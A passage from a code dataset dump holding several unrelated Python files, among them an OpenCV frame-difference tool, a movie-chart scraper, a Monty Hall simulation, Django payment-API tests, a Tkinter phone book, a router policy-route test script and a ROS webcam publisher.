cv2.medianBlur(img, self.median)\r\n img = cv2.GaussianBlur(img, (self.gauss,) * 2, 0)\r\n\r\n if self.background is None:\r\n self.background = img.copy()\r\n cv2.imshow(self.bgwname, self.background)\r\n\r\n # @NOTE: if we want to have better precision, trading off some performance,\r\n # we might use pairwise euclidean distance in L*a*b* space instead of\r\n # absolute difference of gray values\r\n img = cv2.absdiff(img, self.background)\r\n threshold, img = cv2.threshold(img, self.thresh, 255,\r\n cv2.THRESH_BINARY + (cv2.THRESH_OTSU if self.otsu else 0))\r\n\r\n cv2.imshow(self.debugwname, img)\r\n\r\n # img = cv2.dilate(img, None, iterations=2)\r\n if self.close:\r\n img = cv2.morphologyEx(img, cv2.MORPH_CLOSE,\r\n cv2.getStructuringElement(cv2.MORPH_ELLIPSE,\r\n (self.close,) * 2))\r\n\r\n # @TODO: take a look at connectedEdges\r\n if self.connected:\r\n # @NOTE: connectedComponentsWithStats also returns bounding box info\r\n n_components, labels = cv2.connectedComponents(img, connectivity=8)\r\n mask = numpy.zeros_like(labels)\r\n for label in xrange(n_components):\r\n component_mask = labels == label\r\n if component_mask.sum() >= self.min_area * numpy.prod(img.shape[:2]):\r\n mask[component_mask] = label\r\n # @NOTE: if required, contours can be computed on connected component masks\r\n # (should be more robust than computing on whole image at once)\r\n else:\r\n # i don't believe canny is necessary; however, let's see where it gets us\r\n if self.canny_hi != 255:\r\n img = cv2.Canny(img, self.canny_lo, self.canny_hi,\r\n apertureSize=self.canny_size, L2gradient=True)\r\n\r\n _, contours, _ = cv2.findContours(img.copy(), cv2.RETR_EXTERNAL, DiffWatch.chain_appx[self.chain_appx])\r\n\r\n contours = [contour for contour in contours if cv2.contourArea(contour) >= self.min_area]\r\n\r\n mask = numpy.zeros_like(img, dtype=numpy.int32)\r\n for label, contour in enumerate(contours):\r\n cv2.drawContours(mask, contours, label, label, cv2.FILLED, cv2.LINE_8)\r\n\r\n img = self.img.copy()\r\n for ch in xrange(img.shape[2]):\r\n img[..., ch] = numpy.where(mask, img[..., ch], 0)\r\n\r\n return img\r\n\r\nif __name__ == '__main__':\r\n get_diff = DiffWatch(BackGroundSubtractionAlgorithm.mog)\r\n cv2.waitKey(0)\r\n\r\n\r\n","sub_path":"backup06222017/smartlamp/Util/diffwatch.py","file_name":"diffwatch.py","file_ext":"py","file_size_in_byte":8058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"132892924","text":"# Bungeni Parliamentary Information System - http://www.bungeni.org/\n# Copyright (C) 2010 - Africa i-Parliaments - http://www.parliaments.info/\n# Licensed under GNU GPL v2 - http://www.gnu.org/licenses/gpl-2.0.txt\n\n\"\"\"Model Roles\n\n$Id$\n\"\"\"\nlog = __import__(\"logging\").getLogger(\"bungeni.models.roles\")\n\nimport zope.annotation\nfrom zope.component import adapts\nfrom zope.interface import implements\nfrom zope.securitypolicy.interfaces import IRole\nfrom zope.securitypolicy.role import Role\nfrom bungeni.models import interfaces\n\n\n# Roles can be divided into two, roles that a principal gets by virtue\n# of his membership to a group and roles that are defined on objects\n# eg. bungeni.Owner and bungeni.Signatory\n# These are defined here for use in the workspace, notifications\n# or any other code that needs to compute the principals/permissions on objects\nROLES_DIRECTLY_DEFINED_ON_OBJECTS = [\"bungeni.Owner\", \"bungeni.Signatory\"]\n\n\n@zope.annotation.factory\nclass SubRoleAnnotations(object):\n implements(interfaces.ISubRoleAnnotations)\n adapts(IRole)\n\n def __init__(self):\n self.sub_roles = []\n self.is_sub_role = False\n self.parent = None\n\n\ndef sub_role_configure(context, id, title, description, role):\n role_annt = interfaces.ISubRoleAnnotations(\n zope.component.getUtility(IRole, role))\n role_annt.sub_roles.append(id)\n sub_role = Role(id, title, description)\n sub_role_annt = interfaces.ISubRoleAnnotations(sub_role)\n sub_role_annt.is_sub_role = True\n sub_role_annt.parent = role\n gsm = zope.component.getGlobalSiteManager()\n gsm.registerUtility(sub_role, IRole, id)\n\n\ndef sub_role_handler(context, **kw):\n context.action(discriminator=('RegisterSubRoles', kw[\"id\"], kw[\"role\"]),\n callable=sub_role_configure,\n args=(context, kw[\"id\"], kw[\"title\"], getattr(\n kw, \"description\", None), kw[\"role\"])\n )\n","sub_path":"bungeni.main/branches/oauth/bungeni/models/roles.py","file_name":"roles.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"530148822","text":"\nimport time\nimport random\nimport requests\nfrom lxml import etree\n\nclass MaoyanSpider:\n def __init__(self):\n \"\"\"定义常用变量\"\"\"\n self.url = 'https://maoyan.com/board/4?offset={}'\n self.headers ={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36'}\n\n def get_html(self,url):\n \"\"\"请求功能函数 -获取html\"\"\"\n html = requests.get(url=url,headers=self.headers).text\n\n # 直接调用解析函数\n self.parse_html(html)\n\n def parse_html(self,html):\n \"\"\"解析数据解析提取 -xpath\"\"\"\n p = etree.HTML(html)\n dd_list = p.xpath('//d1[@class=\"board-wrapper\"]/dd')\n item = {}\n for dd in dd_list:\n item['name'] = dd.xpath('./p[@class=\"name\"]/a/@title')[0].strip()\n item['star'] = dd.xpath('./p[@class=\"star\"]/text()')[0].strip()\n item['time'] = dd.xpath('./p[@class=\"releasetime\"]/text()')[0].strip()\n print(item)\n\n # def save_html(self,r_list):\n # \"\"\"数据处理功能函数\"\"\"\n # item ={}\n # for r in r_list:\n # item['name'] = r[0].strip()\n # item['star'] = r[1].strip()\n # item['time'] = r[2].strip()\n # print(item)\n\n def run(self):\n \"\"\"程序入口函数 -整个程序的逻辑调用\"\"\"\n for offset in range(0,9,10):\n url = self.url.format(offset)\n self.get_html(url=url)\n # 控制数据抓取频率 :uniform()生成指定范围内的浮点数\n time.sleep(random.uniform(0,1))\n\n\nif __name__ == '__main__':\n spider = MaoyanSpider()\n spider.run()\n\n\n\n\n\n","sub_path":"day03_spider/02_maoyanxpath.py","file_name":"02_maoyanxpath.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"148729026","text":"import random\r\n\r\ndef binarize(num):\r\n\t#binarize function for the three doors\r\n\tif num == 1:\r\n\t\treturn [0,0,1]\r\n\telif num == 2:\r\n\t\treturn [0,1,0]\r\n\telse:\r\n\t\treturn [1,0,0]\r\n\r\ndef rand_outcome():\r\n\t# Randomize the door in which the prize is present\r\n\t#random.seed(random.randint(1,1e12))\r\n \toutcome = random.sample([1,2,4],1)[0]\r\n\t#print (\"Outcome = %d\"%(outcome))\r\n \treturn binarize(outcome)\r\n\r\ndef user_selection():\r\n\t# Randomize the door that the user picks the first time\r\n\t#seed = random.randint(1,1e12)\r\n\tsel = random.sample([0,1,2],1)[0]\r\n\t#print (\"User selection = %d\"%(sel))\r\n\treturn sel\r\n\r\ndef MontyHallNoSwitch():\r\n\t# This returns the outcome (win or loss for the user under No-switch strategy)\r\n\tuser_pick_int = user_selection()\r\n\toutcome = rand_outcome()\r\n\treturn outcome[user_pick_int]\r\n\r\ndef MontyHallSwitch():\r\n\t# This returns the outcome (win or loss for the user under Switch strategy)\r\n\tuser_pick_int = user_selection()\r\n\toutcome = rand_outcome()\r\n\t# The host is going to open one of the doors other than what the guest picked\r\n\tchoices = [0,1,2]\r\n\tchoices.pop(user_pick_int)\r\n\t# print (choices)\r\n\t# Since the host always opens the door without the prize, the guest loses\r\n\t# the game by switching if their original choice was the correct door\r\n\tif (outcome[choices[0]] == 0 and outcome[choices[1]] == 0):\r\n\t\treturn 0\r\n\telse:\r\n\t\treturn 1\r\n\r\ndef MontyHallSimulation(iter=10000):\r\n\twinsNoSwitch, winsSwitch = 0.0 , 0.0\r\n\tfor i in range(0,iter):\r\n\t\twinsNoSwitch = winsNoSwitch + MontyHallNoSwitch()\r\n\t\twinsSwitch = winsSwitch + MontyHallSwitch()\r\n\t\tif i == 0:\r\n\t\t\tprint (\"Probability of winning after N iterations NoSwitch Stategy Switch Strategy\")\r\n\t\telif i%100000 == 0:\r\n\t\t\tprint (\"Prob. of winning after {0} iterations {1} {2}\".format(i,winsNoSwitch/i, winsSwitch/i))\r\n\treturn (winsNoSwitch/iter, winsSwitch/iter)\r\n\r\nwinProbNoSwitch, winProbSwitch = MontyHallSimulation(1000000)\r\nprint (\"Probability of winning without switching is {}\".format(float(winProbNoSwitch)))\r\nprint (\"Probability of winning with switching is {}\".format(float(winProbSwitch)))\r\n","sub_path":"MontyHall/MontyHallSimulation.py","file_name":"MontyHallSimulation.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"132108766","text":"import json\nimport uuid\nfrom django.test import TestCase, override_settings, Client\nfrom corehq.apps.domain.models import Domain\nfrom corehq.apps.users.models import WebUser\nfrom custom.enikshay.integrations.bets.views import update_voucher, update_incentive, get_case\nfrom corehq.util.test_utils import create_and_save_a_case, flag_enabled\n\n\n@override_settings(TESTS_SHOULD_USE_SQL_BACKEND=True)\n@flag_enabled('ENIKSHAY_API')\nclass TestBetsUpdates(TestCase):\n domain = 'enikshay-bets-updates'\n\n @classmethod\n def setUpClass(cls):\n super(TestBetsUpdates, cls).setUpClass()\n cls.domain_obj = Domain(name=cls.domain, is_active=True)\n cls.domain_obj.save()\n cls.web_user = WebUser.create(cls.domain, 'blah', 'password')\n\n @classmethod\n def tearDownClass(cls):\n cls.domain_obj.delete()\n cls.web_user.delete()\n super(TestBetsUpdates, cls).tearDownClass()\n\n def make_request(self, view, data):\n c = Client()\n c.force_login(self.web_user.get_django_user())\n return c.post(\"/a/{}/bets/{}\".format(self.domain, view.__name__),\n data=json.dumps(data),\n content_type='application/json')\n\n def make_voucher(self):\n return create_and_save_a_case(\n self.domain,\n uuid.uuid4().hex,\n case_name='prescription',\n case_properties={'amount_initial': '105',\n 'state': 'approved'},\n case_type='voucher',\n )\n\n def test_invalid_request(self):\n voucher = self.make_voucher()\n res = self.make_request(update_voucher, {\n 'voucher_id': voucher.case_id,\n # Missing this field\n # 'payment_status': 'success',\n 'payment_amount': 100,\n })\n self.assertEqual(res.status_code, 400)\n\n def test_update_voucher_success(self):\n voucher = self.make_voucher()\n res = self.make_request(update_voucher, {\n 'voucher_id': voucher.case_id,\n 'payment_status': 'success',\n 'payment_amount': 100,\n })\n self.assertEqual(res.status_code, 200)\n self.assertDictContainsSubset(\n {'state': 'paid', 'amount_fulfilled': '100'},\n get_case(self.domain, voucher.case_id).case_json,\n )\n\n def test_update_voucher_failure(self):\n voucher = self.make_voucher()\n res = self.make_request(update_voucher, {\n 'voucher_id': voucher.case_id,\n 'payment_status': 'failure',\n 'failure_description': 'The Iron Bank will have its due',\n 'payment_amount': 0,\n })\n self.assertEqual(res.status_code, 200)\n self.assertDictContainsSubset(\n {'state': 'rejected', 'reason_rejected': 'The Iron Bank will have its due'},\n get_case(self.domain, voucher.case_id).case_json,\n )\n\n def test_update_voucher_unknown_id(self):\n res = self.make_request(update_voucher, {\n 'voucher_id': \"jaqen-hghar\",\n 'payment_status': 'success',\n 'payment_amount': 100,\n })\n self.assertEqual(res.status_code, 404)\n\n def make_episode_case(self):\n return create_and_save_a_case(\n self.domain,\n uuid.uuid4().hex,\n case_name='prescription',\n case_properties={'test_confirming_diagnosis': \"Old Nan's wisdom\",\n 'weight': \"15 stone\"},\n case_type='episode',\n )\n\n def test_update_incentive_success(self):\n episode = self.make_episode_case()\n res = self.make_request(update_incentive, {\n 'beneficiary_id': episode.case_id,\n 'episode_id': episode.case_id,\n 'payment_status': 'success',\n 'bets_parent_event_id': '106',\n 'payment_amount': 100,\n })\n self.assertEqual(res.status_code, 200)\n self.assertDictContainsSubset(\n {\n 'tb_incentive_106_status': 'paid',\n 'tb_incentive_106_amount': '100',\n },\n get_case(self.domain, episode.case_id).case_json,\n )\n\n def test_update_incentive_failure(self):\n episode = self.make_episode_case()\n res = self.make_request(update_incentive, {\n 'beneficiary_id': episode.case_id,\n 'episode_id': episode.case_id,\n 'payment_status': 'failure',\n 'failure_description': 'We do not sow',\n 'bets_parent_event_id': '106',\n })\n self.assertEqual(res.status_code, 200)\n self.assertDictContainsSubset(\n {\n 'tb_incentive_106_status': 'rejected',\n 'tb_incentive_106_rejection_reason': 'We do not sow',\n },\n get_case(self.domain, episode.case_id).case_json,\n )\n\n def test_update_incentive_bad_event(self):\n res = self.make_request(update_incentive, {\n 'beneficiary_id': '123',\n 'episode_id': '123',\n 'payment_status': 'success',\n 'bets_parent_event_id': '404',\n 'payment_amount': 100,\n })\n self.assertEqual(res.status_code, 400)\n","sub_path":"custom/enikshay/tests/test_bets_updates.py","file_name":"test_bets_updates.py","file_ext":"py","file_size_in_byte":5203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"25601784","text":"import tkinter as tk\nimport tkinter.ttk as ttk\nfrom tkinter import messagebox\nimport sqlite3 as db\nimport tkinter.font as tkf\n\n__author__ = \"Ettore Forigo\"\n__license__ = \"GPL\"\n__date__ = \"18/11/2016\"\n__version__ = \"1\"\n__status__ = \"Development\"\n__doc__ = '''\nSi realizzi un programma in linguaggio Python in grado di gestire una rubrica di nomi e numeri telefonici.\nLa rubrica deve contenere fino a 100 voci diverse. Ciascuna voce è composta da un nome (max 40 caratteri) e da un numero\ndi telefono (max 20 caratteri).Il programma deve fornire all’utente un menù di scelta, con le seguenti voci:\n1) Aggiungi nuova voce in rubrica\n2) Ricerca esatta per nome\n3) Ricerca approssimata per nome\n4) Stampa completa rubrica\n0) Esci dal programma\nUna volta che l’utente ha scelto l’operazione desiderata (1-4), il programma acquisirà i dati necessari dall’utente ed\neseguirà il comando. Nota: nella rubrica non possono esistere due voci con lo stesso nome.\n'''\n\n\nclass PhoneBook(tk.Tk):\n\texact_match = False\n\n\tdef __init__(self, *args, **kwargs):\n\t\ttk.Tk.__init__(self, *args, **kwargs)\n\t\tself.minsize(735, 485)\n\t\tself.title(\"Rubrica\")\n\t\tself.protocol(\"WM_DELETE_WINDOW\", lambda: [messagebox.showinfo(\"Credits\", \"Sviluppatore: Ettore Forigo\"),\n\t\t self.destroy()])\n\n\t\tself.database = db.connect(\"phonebook.db\")\n\t\tself.cursor = self.database.cursor()\n\n\t\tself.grid_columnconfigure(0, weight=1)\n\t\tfor x in range(1, 7):\n\t\t\tself.grid_columnconfigure(x, weight=0)\n\t\tself.grid_columnconfigure(7, weight=1)\n\t\tself.grid_rowconfigure(0, weight=0)\n\t\tself.grid_rowconfigure(1, weight=0)\n\t\tself.grid_rowconfigure(2, weight=0)\n\t\tself.grid_rowconfigure(3, weight=1)\n\n\t\ttk.Label(self, text=\"Ricerca per nome\").grid(row=0, column=1, columnspan=3, padx=1, pady=10)\n\t\ttk.Label(self, text=\"Inserimento nuovi dati\").grid(row=0, column=4, columnspan=3, padx=1, pady=10)\n\t\ttk.Label(self, text=\"|\").grid(row=0, column=4, padx=(5, 1), pady=10, sticky=\"wn\")\n\n\t\ttk.Label(self, text=\"Query:\").grid(row=1, column=1, columnspan=3, sticky=\"wn\")\n\t\ttk.Label(self, text=\"Nome da inserire:\").grid(row=1, column=4, padx=(49, 1), sticky=\"wn\")\n\t\ttk.Label(self, text=\"Numero da inserire: \").grid(row=1, column=5, sticky=\"wn\")\n\n\t\tself.search_bar = tk.Entry(self, width=30)\n\t\tself.search_bar.bind(\"\", lambda z: self.search_bar.after(0, self.refresh))\n\t\tself.search_bar.bind(\"<%>\", self.check)\n\t\tself.search_bar.bind(\"<'>\", self.check)\n\t\tsearch_button = tk.Button(self, text=\"Cerca\", command=self.refresh)\n\t\tsearch_button.bind(\"\", lambda z: self.refresh())\n\t\tmatch_value = tk.BooleanVar()\n\t\tmatch = tk.Checkbutton(self, text=\"Corrispondenza esatta\", variable=match_value,\n\t\t command=lambda: self.match_update(match_value.get()))\n\t\tmatch.bind(\"\", lambda z: [match.toggle(), self.match_update(match_value.get())])\n\t\tself.name = tk.Entry(self, width=20)\n\t\tself.name.bind(\"\", lambda z: self.save())\n\t\tself.name.bind(\"<'>\", self.check)\n\t\tself.number = tk.Entry(self, width=20)\n\t\tself.number.bind(\"\", self.check)\n\t\tself.number.bind(\"\", lambda z: self.save())\n\t\tnew_record = tk.Button(self, text=\"Salva\", command=self.save)\n\t\tnew_record.bind(\"\", lambda z: self.save())\n\n\t\tself.search_bar.grid(row=2, column=1, padx=1, pady=1)\n\t\tsearch_button.grid(row=2, column=2, padx=1, pady=1)\n\t\tmatch.grid(row=2, column=3, padx=1, pady=1)\n\t\tself.name.grid(row=2, column=4, padx=(50, 1), pady=1)\n\t\tself.number.grid(row=2, column=5, padx=1, pady=1)\n\t\tnew_record.grid(row=2, column=6, padx=1, pady=1)\n\n\t\tself.columns = (\"Nome\", \"Numero\")\n\t\tcontainer = ttk.Frame(self)\n\t\tself.tree = ttk.Treeview(columns=self.columns, show=\"headings\")\n\t\tfor col in self.columns:\n\t\t\tself.tree.heading(col, text=col.title(), command=lambda c=col: self.sort_by(self.tree, c, 0))\n\t\t\tself.tree.column(col, width=len(col.title()))\n\t\tvsb = ttk.Scrollbar(orient=\"vertical\", command=self.tree.yview)\n\t\thsb = ttk.Scrollbar(orient=\"horizontal\", command=self.tree.xview)\n\t\tself.tree.configure(yscrollcommand=vsb.set, xscrollcommand=hsb.set)\n\n\t\tcontainer.grid_columnconfigure(0, weight=1)\n\t\tcontainer.grid_rowconfigure(0, weight=1)\n\t\tcontainer.grid(row=3, column=0, columnspan=8, padx=5, pady=(1, 5), sticky=\"wens\")\n\t\tself.tree.grid(column=0, row=0, sticky='nsew', in_=container)\n\t\tvsb.grid(column=1, row=0, sticky='ns', in_=container)\n\t\thsb.grid(column=0, row=1, sticky='ew', in_=container)\n\n\t\tself.refresh()\n\t\tself.search_bar.focus()\n\n\t@staticmethod\n\tdef check(event):\n\t\tspecial = event.char == '\b' or event.char == '' or event.char == ' ' or event.char == '\t'\n\t\twrong = False\n\n\t\tif not (event.char.isnumeric() or special):\n\t\t\tmessagebox.showwarning(\"Carattere non accettato\", \"Inserire un carattere valido\")\n\t\t\twrong = True\n\t\telif len(event.widget.get()) + 1 > 10 and not special:\n\t\t\tmessagebox.showwarning(\"Numero troppo lungo\", \"Numero troppo lungo\")\n\t\t\twrong = True\n\n\t\tif wrong:\n\t\t\told_string = event.widget.get()\n\t\t\tevent.widget.after(0, lambda: event.widget.delete(0, \"end\"))\n\t\t\tevent.widget.after(0, lambda: event.widget.insert(0, old_string))\n\n\tdef save(self):\n\t\terror = False\n\n\t\tif self.name.get() and self.number.get():\n\t\t\tif len(self.number.get()) == 10:\n\t\t\t\tself.cursor.execute(\"SELECT * FROM Phonebook WHERE Name = ?\", (self.name.get(),))\n\t\t\t\tif self.cursor.fetchall():\n\t\t\t\t\tself.cursor.execute(\"UPDATE `Phonebook` SET `PhoneNumber`= ? WHERE `Name`= ?\", (self.number.get(),\n\t\t\t\t\t self.name.get()))\n\t\t\t\telse:\n\t\t\t\t\tself.cursor.execute(\"INSERT INTO `Phonebook` (`Name`,`PhoneNumber`) VALUES (?, ?)\",\n\t\t\t\t\t (self.name.get(), self.number.get()))\n\t\t\t\tmessagebox.showinfo(\"Successo!\", \"Nome aggiunto\")\n\t\t\t\tself.number.delete(0, \"end\")\n\t\t\t\tself.name.delete(0, \"end\")\n\t\t\t\tself.search_bar.focus()\n\t\t\t\tself.database.commit()\n\t\t\t\tself.refresh()\n\t\t\telse:\n\t\t\t\terror = True\n\t\telse:\n\t\t\terror = True\n\n\t\tif error:\n\t\t\twrong = []\n\t\t\ttext = ''\n\t\t\tif not self.name.get():\n\t\t\t\tif wrong:\n\t\t\t\t\twrong.append(\"\\n\")\n\t\t\t\twrong.append(\"Inserire un valore nel campo Nome\")\n\t\t\tif not self.number.get():\n\t\t\t\tif wrong:\n\t\t\t\t\twrong.append(\"\\n\")\n\t\t\t\twrong.append(\"Inserire un valore nel campo Numero\")\n\t\t\telif len(self.number.get()) != 10:\n\t\t\t\tif wrong:\n\t\t\t\t\twrong.append(\"\\n\")\n\t\t\t\twrong.append(\"Il numero deve essere esattamente 10 caratteri\")\n\n\t\t\tfor period in wrong:\n\t\t\t\ttext += period\n\t\t\tmessagebox.showwarning(\"Attenzione!\", text)\n\n\tdef match_update(self, value):\n\t\tself.exact_match = value\n\t\tself.refresh()\n\n\tdef sort_by(self, tree, col, descending):\n\t\tfor index, item in enumerate(sorted([(tree.set(child, col), child) for child in tree.get_children('')],\n\t\t reverse=descending)):\n\t\t\ttree.move(item[1], '', index)\n\t\ttree.heading(col, command=lambda: self.sort_by(tree, col, int(not descending)))\n\n\tdef refresh(self):\n\t\tif self.exact_match:\n\t\t\tself.cursor.execute(\"SELECT * FROM Phonebook WHERE Name = ?\", (self.search_bar.get(),))\n\t\telse:\n\t\t\tself.cursor.execute(\"SELECT * FROM Phonebook WHERE Name LIKE ?\", ('%' + self.search_bar.get() + '%',))\n\t\tquery = self.cursor.fetchall()\n\t\tif not query:\n\t\t\tquery = [[\"Non ci sono risultati, riprova.\"]]\n\t\t\tself.tree.column(self.columns[0], width=tkf.Font().measure(query[0][0]))\n\t\telse:\n\t\t\tfor index, col in enumerate(self.columns):\n\t\t\t\tself.tree.column(col,\n\t\t\t\t width=tkf.Font().measure(max(query, key=lambda elem: len(str(elem[index])))[index]))\n\n\t\tself.tree.delete(*self.tree.get_children())\n\t\tfor item in query:\n\t\t\tself.tree.insert('', 'end', values=item)\n\n\ndef main():\n\tapp = PhoneBook()\n\tapp.mainloop()\n\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"2016-2017/Consegne/phonebook/phone_book.py","file_name":"phone_book.py","file_ext":"py","file_size_in_byte":7644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"633185090","text":"import pytest\r\nimport time\r\nimport sys\r\nfrom page_obj.common.rail import *\r\nfrom os.path import dirname, abspath\r\nfrom page_obj.common.ssh import *\r\nfrom page_obj.scg.scg_def_policy_route import *\r\nfrom page_obj.scg.scg_def_interface import *\r\nfrom page_obj.scg.scg_dev import *\r\nfrom page_obj.scg.scg_def_ifname_OEM import *\r\nfrom page_obj.scg.scg_def_multi_isp import *\r\n\r\nsys.path.insert(0, dirname(dirname(abspath(__file__))))\r\n\r\ntest_id = \"141409\"\r\n# 路由单网关选择物理接口\r\n# 通信正常\r\n\r\n\r\ndef test_c141409(browser):\r\n\r\n try:\r\n # 81 上添加策略路由\r\n login_web(browser, url=dev1)\r\n add_policy_route_single_wxw(browser, in_device=interface_name_2, src_ip='12.1.1.0', src_mask='24',\r\n dst_ip='34.1.1.0', dst_mask='24', service='yes', serv='any',\r\n service_grp='no', serv_grp='H323',\r\n out_device=interface_name_3, gateway='13.1.1.3', enable='yes',\r\n disnable='no', desc='maioshu')\r\n\r\n # 82上添加到13.1.1.0网段 和34.1.1.0网段的路由\r\n a82 = Shell_SSH()\r\n a82.connect(hostip=dev2)\r\n a82.execute('en')\r\n a82.execute('con t')\r\n a82.execute('ip route 13.1.1.0/24 gateway 12.1.1.1')\r\n a82.execute('ip route 34.1.1.0/24 gateway 12.1.1.1')\r\n a82.close()\r\n # 83上添加到12.1.1.0网段的路由\r\n a83 = Shell_SSH()\r\n a83.connect(hostip=dev3)\r\n a83.execute('en')\r\n a83.execute('con t')\r\n a83.execute('ip route 12.1.1.0/24 gateway 13.1.1.1')\r\n a83.close()\r\n\r\n # 82 ping 83\r\n login_web(browser, url=dev2)\r\n result1 = diag_ping(browser, ipadd=\"34.1.1.3\", packersize=\"100\", count=\"5\", ping_wait_time=\"2\",\r\n interface=interface_name_2)\r\n print(result1)\r\n\r\n\r\n # 删除83上路由\r\n a83 = Shell_SSH()\r\n a83.connect(hostip=dev3)\r\n a83.execute('en')\r\n a83.execute('con t')\r\n a83.execute('no ip route 12.1.1.0/24 gateway 13.1.1.1')\r\n a83.close()\r\n # 删除82上路由\r\n a82 = Shell_SSH()\r\n a82.connect(hostip=dev2)\r\n a82.execute('en')\r\n a82.execute('con t')\r\n a82.execute('no ip route 13.1.1.0/24 gateway 12.1.1.1')\r\n a82.execute('no ip route 34.1.1.0/24 gateway 12.1.1.1')\r\n a82.close()\r\n\r\n # 81 上删除策略路由\r\n login_web(browser, url=dev1)\r\n del_policy_route_singele_wxw(browser, destination='34.1.1.0/255.255.255.0')\r\n\r\n\r\n try:\r\n assert \"ms\" in result1\r\n rail_pass(test_run_id, test_id)\r\n except:\r\n rail_fail(test_run_id, test_id)\r\n assert \"ms\" in result1\r\n\r\n except Exception as err:\r\n # 如果上面的步骤有报错,重新设备,恢复配置\r\n print(err)\r\n rail_fail(test_run_id, test_id)\r\n reload(hostip=[dev1, dev2, dev3])\r\n assert False\r\n\r\n\r\nif __name__ == '__main__':\r\n pytest.main([\"-v\", \"-s\", \"test_c\"+str(test_id)+\".py\"])","sub_path":"pyautoTest-master(ICF-7.5.0)/test_case/scg/scg_Route/test_c141409.py","file_name":"test_c141409.py","file_ext":"py","file_size_in_byte":3114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"415186455","text":"# (1) [数値単独型] \n# 入力->3\n# 出力->3\nN = int(input()) \n\n# (2) [数値リスト変換型] \n# 入力->3 4 \n# 出力->[3, 4]\nL = list(map(int, input().split()))\n\n# (3) [数値複数変数型] \n# 入力->3 4 \n# 出力-> N=3, M=4\nN, M = map(int, input().split())\n","sub_path":"ABC/ABC-training/Virtual_contests_04/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"16656934","text":"#!/usr/bin/env python\nimport cv2\nimport rospy\nimport numpy as np\n\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\n\n# OpenCV webcam object\ncamera = cv2.VideoCapture(0)\n\n# Object that converts from OpenCV images to ros images\nbridge = CvBridge()\n\n\ndef sendVideoFeed():\n pub = rospy.Publisher('camera/rgb/image_raw', Image, queue_size = 10) \n rospy.init_node('webcam', anonymous=True)\n rate = rospy.Rate(30)\n while not rospy.is_shutdown():\n receivedImage, frame = camera.read()\n \t\t\n if (not receivedImage):\n continue\n\n # get image dimensions for logging\n height, width, channels = frame.shape\n rospy.loginfo(\"Sending image: \" + str(height) + \" \" + str(width))\n\n # convert OpenCV image to ROS image and publish message\n img = bridge.cv2_to_imgmsg(frame, \"bgr8\")\n pub.publish(img)\n\n rate.sleep()\n\nif __name__ == '__main__':\n try:\n sendVideoFeed()\n except rospy.ROSInterruptException:\n pass\n\ncamera.release()\ncv2.destroyAllWindows()\n","sub_path":"usma_files/ROS_Nodes/image_analysis/scripts/webcam.py","file_name":"webcam.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"395735001","text":"import math\nfrom copy import deepcopy\n\nimport numpy as np\nfrom numpy.linalg import eig\nfrom numpy.linalg import inv\n\nimport matplotlib.pyplot as plt\n\n\n#I know it's slow as written, but this is python anyway.\n#\n#I want practice manipulating large matrices as objects, instead of writing\n#spaghetti-code for loops.\n#\n\n\n# In order to realize the Tr(X, H) = k(k-1) condition, I set the top\n# k(k-1) off-diagonal elements to 1, and the rest to 0.\n\ndef cliqueProject(A, k, H):\n \"\"\"Clique projection for that question.\n Assumes H represents the edges of a graph, with 0s along\n the main diagonal.\"\"\"\n B = deepcopy(A)\n s = B.shape\n d = np.diagonal(A)\n #First, make the top k diagonal elements into 1s, and the rest 0\n ind = np.argsort(d)\n rev = np.argsort(ind)\n #Switch to ordered.\n d = d[ind]\n d[0-k:] = 1\n d[:0-k] = 0\n #Switch back\n d = d[rev]\n # Now, do the projection on the other indices.\n B = B*H #Element-wise. This is a mask.\n #Switch to a line\n B = B.reshape(s[0]*s[1])\n ind = np.argsort(B)\n rev = np.argsort(ind)\n #Switch to ordered\n B = B[ind]\n B[0-k*(k-1):] = 1\n B[:0-k*(k-1)] = 0\n #Switch back to original order\n B = B[rev]\n #Switch back to square form\n B = B.reshape(s)\n #Add in the diagonal contributions\n #Again, the multiplication is element-wise. This is a mask.\n B = B + np.identity(s[0])*d\n return B\n\n\ndef extractClique(A, acc=8):\n \"\"\"Gets indices of clique from solution matrix\"\"\"\n d = np.round(np.diagonal(A), acc)\n r = []\n for i in range(len(d)):\n if d[i] > 0.1:\n r.append(i)\n return np.array(r)\n\n\ndef verifyClique(c, G):\n r = 1.0\n for i in range(len(c)):\n for j in range(i + 1, len(c)):\n r = r*G[c[i], c[j]]\n if r > 0.1:\n return True\n else:\n return False\n\n\n","sub_path":"cliqueProject.py","file_name":"cliqueProject.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"261949326","text":"import tkinter\nimport os\nfrom tkinter import *\nfrom tkinter.messagebox import *\nfrom tkinter.filedialog import *\n\nclass MyNotes:\n\t__root=Tk()\n\n\t# set default window width and height\n\t__myWidth=300\n\t__myHeight=300\n\t__textArea=Text(__root)\n\t__menuBar=Menu(__root)\n\t__fileMenu=Menu(__menuBar, tearoff=0)\n\t__editMenu=Menu(__menuBar, tearoff=0)\n\t__helpMenu=Menu(__menuBar, tearoff=0)\n\n\t# add scrollbar \n\t__scroll=Scrollbar(__textArea)\n\t__file=None\n\n\n\t# constructor\n\tdef __init__(self,**kwargs):\n\t\t#set an icon 